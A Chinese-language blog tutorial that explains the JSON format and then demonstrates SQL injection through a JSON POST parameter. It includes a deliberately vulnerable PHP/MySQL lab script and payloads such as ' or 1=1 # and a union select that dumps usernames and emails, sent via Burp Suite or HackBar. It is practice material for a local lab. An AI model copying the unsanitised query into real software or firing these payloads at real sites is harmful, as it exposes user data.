首页 前端知识 JSON类型注入

JSON类型注入

2024-05-24 09:05:55 前端知识 前端哥 497 332 我要收藏

 一,发现json

1.1对一个网站进行抓包 会发现显示内容类型是 json 

且json的值为[{"events":[{"event":"applog_trace","params":"{\"count\":3,\"state\":\"net\",\"key\":\"log\",\"params_for_special\":\"applog_trace\",\"aid\":2608,\"platform\":\"web\",\"_staging_flag\":1,\"sdk_version\":\"4.2.9\",\"event_index\":1711677972780}","local_time_ms":1711677532799}]  

1.2 与文本内容 urlencoded相比

urlencoded 键=值&键2=值2&....

{"cate_id":"6809635626661445640"} #掘金 post请求携带数据格式

id=1     --> {"id":1} -->

服务端: if content-type=='json':

                 $a = $_POST['json'] -- {"id":1}

                        $a["id"] -- 1

              if content-type == 'urlencoded':

                        $_POST['id'] -- 1

二,json数据

2.1介绍

JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、 更快,更易解析,主要是用来代替XML的。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 "application/json"。

json 简单来说,json就是各个开发语言直接传输数据的数据格式,为什么要json呢,因为各个语言在处理数 据时都有自己的一套标准或者说处理方式,不用语言之间的数据是不能互相使用的,比如js的字符串数 据(请求体中的数据)交给python语言,python是不认识这个字符串的,所以大家互相传输数据的时候, 就需要一个第三方数据格式,比如XMl或者json等,就相当于中介一样,大家先将自己语言中的数据转 换为json格式的,再传递给其他语言,其他语言再通过json操作,将json数据转换为自己语言的数据类 型,这样就可以进行后续处理了。

2.2作用

json用于多种语言的数据交换  而数据交互会出现在前后端分离

前后端分离是一种软件架构模式,它将Web应用程序的用户界面(前端)和数据处理及业务逻辑(后端)分开进行开发、部署和维护。

在这种模式下,前端主要负责页面的展示效果和用户交互,而后端则专注于数据的操作和业务逻辑的实现。前后端通过定义好的接口进行数据交互,通常使用JSON格式。这种分离有助于提高开发效率、便于维护、并支持更灵活的开发和部署策略。

2.3json数据格式

 格式:  数据在键值对中(键值对也成为属性名和属性值)

             数据由逗号分隔(最后一个数据后面不能有逗号)

             大括号保存对象(在有些语言中叫做字典)

             中括号保存数组(在有些语言中称之为列表)

类型:

         数字(整数或浮点数) {"age":30,"xx":"123"}

         字符串(在双引号中) {"uname":"yang"}

          逻辑值(true 或 false) {"flag":true }

          数组(在中括号中){"sites":[{"name":"yang"},{"name":"ming"}]}

          对象(在大括号中)JSON 对象在大括号({})中书写:   null   { "runoob":null }

注意点:下面是几个错误的格式  

{ name: "张三", 'age': 32 } // 属性名必须使用双引号  

{ name: "张三", 'age': '32' } //属性值如果是字符串,必须要双引号,不能用单引号  

[32, 64, 128, 0xFFF] // 不能使用十六进制值  

{ "name": "张三", "age": undefined } // 不能使用undefined 最后一组键值对后面不能有符号,比如不能有逗号了。

三,json注入

3.1构造json环境

<?php
 // php防止中文乱码
header('content-type:text/html;charset=utf-8');
 if(isset($_POST['json'])){
 $json_str=$_POST['json'];
 $json=json_decode($json_str);
 if(!$json){
 die('JSON文档格式有误,请检查');
    }
 $username=$json->username;
 //$password=$json->password;
 // 建立mysql连接,root/root连接本地数据库
$mysqli=new mysqli();
 $mysqli->connect('localhost','root','root');
 if($mysqli->connect_errno){
 die('数据库连接失败:'.$mysqli->connect_error);
    }
 // 要操作的数据库名,我的数据库是security
 $mysqli->select_db('pikachu');
 if($mysqli->errno){
 dir('打开数据库失败:'.$mysqli->error);
    }
 // 数据库编码格式
$mysqli->set_charset('utf-8');
 // 从users表中查询username,password字段
$sql="SELECT username,password FROM users WHERE username='{$username}'";
 $result=$mysqli->query($sql);
 if(!$result){
 die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
 die('查询结果为空');
    }else {
 while($data=mysqli_fetch_assoc($result)){
 $username=$data['username'];
 $password=$data['password'];
 echo "用户名:{$username},密码:{$password}";
        }
    }
// 释放资源
$result->free();
 $mysqli->close();
  }
 ?>

将代码放在www文件下

3.2 注入方法

3.2.1  bp中修改post 添加content-type json语句

这里显示不出来  要用网页修改才可以  用火狐价加个插件 hackerbar

3.2.2 使用firefox hackerbar 修改post

查询语句json={"username":"admin"}

查询语句json={"username":"xx' or 1=1 #"}

查询语句 json={"username":"admin' union select username,email from member#"}

md5 解码就行

3.2.3 使用bp 在数据交互中 添加语句' or 1=1 # 也可以联合查询

转载请注明出处或者链接地址:https://www.qianduange.cn//article/9352.html
标签
评论
发布的文章

用JS生成本周日期代码

2024-04-18 17:04:15

js 递归函数

2024-05-31 10:05:46

jQuery是什么?如何使用?

2024-03-12 01:03:24

js延迟加载的六种方式

2024-05-30 10:05:51

大家推荐的文章
会员中心 联系我 留言建议 回顶部
复制成功!